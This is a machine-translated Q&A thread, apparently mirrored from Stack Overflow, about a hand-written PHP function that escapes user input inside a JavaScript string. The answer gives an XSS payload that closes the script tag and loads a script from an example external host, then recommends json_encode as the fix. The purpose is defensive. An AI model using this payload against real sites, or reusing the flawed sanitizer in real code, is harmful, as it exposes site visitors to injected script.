提问人:Tream 提问时间:9/8/2023 最后编辑:Professor AbronsiusTream 更新时间:9/8/2023 访问量:46
Sime PHP-Script:XSS攻击可能吗?
Sime PHP-Script: XSS attack possible?
问:
我发现以下代码片段并想证明它不安全,而是应该使用 htmlentities() 而不是这个自己的实现。
有人可以看到 的攻击向量,其中包含 JavaScript-Code,然后在这个简单的代码示例中执行?$input
<?php
function sanitizeJSString($strValue) {
$strValue = str_replace("\\", "\\\\", $strValue);
$strValue = str_replace("\"", "\\\"", $strValue);
$strValue = str_replace("'", "\\'", $strValue);
$strValue = str_replace("`", "\\`", $strValue);
$strValue = str_replace("$", "\\$", $strValue);
return $strValue;
}
$input = 'this comes from user-input';
?>
<html>
<head>
<meta charset="UTF-8">
<script>
var foo = "<?php echo sanitizeJSString( $input ) ?>";
</script>
</head>
<body>
</body>
</html>
我知道这不是您应该在生产中使用的代码,我只是想向某人证明,编写的这段代码不安全,并且存在可能的攻击媒介。
答:
2赞
lusc
9/8/2023
#1
考虑。这将导致如下所示的html允许XSS攻击。$input = "\n</script><script src=https://example.com/xss.js>"
<script>
var foo = "
</script><script src=https://example.com/xss.js>";
</script>
相反,您可以做的是使用 .这种方法更可靠。只要是字符串,也将是字符串,所有特殊字符都将为您转义。json_encode
$input
foo
var foo = <?= json_encode( $input ) ?>;
评论
0赞
Tream
9/19/2023
非常感谢,你是对的,这完全有效!
评论
htmlspecialchars()